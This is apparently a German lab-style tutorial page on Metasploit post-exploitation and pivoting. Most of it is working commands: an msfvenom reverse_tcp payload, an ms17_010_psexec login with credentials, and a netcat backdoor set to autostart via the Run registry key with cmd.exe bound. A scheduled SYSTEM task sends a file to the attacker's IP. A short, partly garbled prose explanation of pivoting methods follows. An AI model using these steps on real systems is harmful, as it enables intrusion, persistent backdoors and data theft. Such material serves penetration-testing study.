| FOTO | AUTO | EDV | AUDIO |

Pivoting

Ausnutzen entdeckter Schwachstellen

Lateral Movement with Named Pipes

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.3 lport=443 -f exe > shell.exe  # erzeugt das Payload shell.exe
python -m SimpleHTTPServer  # startet einen mini-Webserver

neue Shell starten

  msfconsole
  use exploit/multi/handler
  set PAYLOAD windows/meterpreter/reverse_tcp  # legt reverse_tcp als Payload fest
    set LHOST 192.168.0.3
    set LPORT 443
    set ExitOnSession false
  exploit -j -z  # führt Exploit aus, der reverse_tcp Handler startet

Jetzt steht das Payload zur Verfügung und kann via http geladen werden. Dazu auf dem Opfersystem:

http://192.168.0.3:8000  # IP ist von Kali, Port 8000 vom SimpleHTTPServer

Es erscheint eine Dateiliste. Hier shell.exe suchen, ausführen und zurück zu Kali. Mit

sessions

sieht man, dass eine Sitzung mit dem Zielsystem eingerichtet ist. Wir wechseln in die Sitzung 1

sessions -i 1

Wir müssen jetzt einen Pipe-Listener erstellen und anzeigen:

pivot add -t pipe -l 192.168.0.3 -n bgpipe -a x86 -p windows
pivot list

Persistent Backdoor erstellen

Mit msfconsole msf starten und das Modul psexec verwenden

use exploit/windows/smb/ms17_010_psexec
  set RHOST 192.168.0.5
  set SMBUser admin
  set SMBPass Passw0rd
run

Jetzt senden wir das Backdoor nc.exe an das Windows-Zielsystem in den Ordner C:\\Windows

upload /usr/share/windows-binaries/nc.exe C:\\Windows

Windows Registrierungsschlüssel auflisten

reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Wir stellen nun die nc.exe so ein, dass sie beim Windows-Start gestartet wird und auf den Port 1234 hört

reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v nc -d ‘C:\Windows\nc.exe -l -p 1234 -e cmd.exe’

Prüfen, ob es funktioniert hat

reg queryval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v nc

Nach einem reboot des Zielsystems steht nc zur Verfügung. Der reboot kann remote erfolgen, mit:

reboot

Danach kann mit exit das Fenster geschlossen werden.
Jetzt testen wir, ob alles funktioniert hat. Dazu in einer Kali-Shell eine Verbindung herstellen, mit:

nc -v 192.168.0.5 1234

Auf dem Zielsystem ist nc gestatet worden. Wir können in Kali mit Ctrl + c nc beenden

Datei auf dem Zielsystem verändern

Wir suchen uns auf dem windows-Zielsystem eine Datei zum angreifen heraus (Beispiel: c:\\plab.csv)
Wir können jetzt einen Netcat-Listener erstellen, um an die plab.csv-Datei zu gelangen. Dazu in einer Kali-Shell

cat > task.bat  # das erstellt eine leere Datei

Der Inhalt der Datei ist:

  @echo off
  C:\Windows\nc.exe -w 3 192.168.0.3 1234 < C:\plab.csv

mit Ctrl + z speichern wir und mit run führen wir aus. Jetzt muss die Datei task.bat nach C:\\Windows übertragen werden

upload /root/task.bat C:\\Windows

Jetzt können wir sie remote ausführen

execute -f ‘schtasks /create /tn plabtask /tr C:\Windows\task.bat /sc minute /mo 1 /ru system’

In einer neuen Kali-Shell verbinden wir uns zum Windows-Opfer

  nc -l -p 1234 > plab.csv  # Der Verbindungsaufbau dauert eine Minute

Jetzt können wir die Datei plab.csv remote bearbeiten

cat plab.csv

und eine neue Zeil ehinzufügen, wie zB „harry 1234567890“
In einer neuen Shell starten wie wieder den vetcat listener (nc) und schauen uns den Inhalt der Datei plab.csv an

nc -l -p 1234 > plab.csv
cat plab.csv

Pivoting erklärt

Pivoting ist ähnlich zu lateral movement, da beide Aufgaben stattfinden, nachdem Sie einen Host ausgenutzt haben. Bei einer lateralen Bewegung bewegen Sie sich von einem Host zu einem anderen Host und suchen nach weiteren Schwachstellen, die Sie ausnutzen können. Beim Drehen, Sie die Schwachstellen in einem Host ausnutzen, und dann erkunden Sie die Optionen zum Ausnutzen eines Hosts und gehen dann zu den anderen Hosts über, die mit dem ersten verbunden sind. Diese Hosts wären möglicherweise nicht erreichbar Andernfalls. Diese Hosts befinden sich normalerweise in einem anderen Subnetz und sind daher ohne direkten Zugriff schwer zu erreichen.

Das pivoting kann auf verschiedene Arten erfolgen:

  • Port-Weiterleitung. Dies ist eine der am weitesten verbreiteten Methoden, bei der der Angreifer einen offenen Port auf dem ausgenutzten Host findet und ihn dann verwendet, um den Datenverkehr an das Zielsystem weiterzuleiten.
  • SSH-Pivotierung. Bei dieser Methode wird SSH verwendet. Sie müssen einen lokalen Proxy einrichten und auch die Portweiterleitung aktivieren. Die Verbindungen, die mit dem angegebenen Port zum Port hergestellt werden, werden an das Endziel weitergeleitet.
  • Routing-Tabelle Pivoting. Wenn Sie einen Host ausnutzen, können Sie Änderungen an seiner Routing-Tabelle vornehmen. Außerdem können Sie das Gateway als Exploit-Sitzung festlegen. Wenn dies geschehen ist, muss der Datenverkehr das Gateway passieren, um das Ziel zu erreichen.

VPN-Pivoting kann ebenfalls durchgeführt werden, obwohl es hauptsächlich zur Aufklärung eines Netzwerks verwendet wird.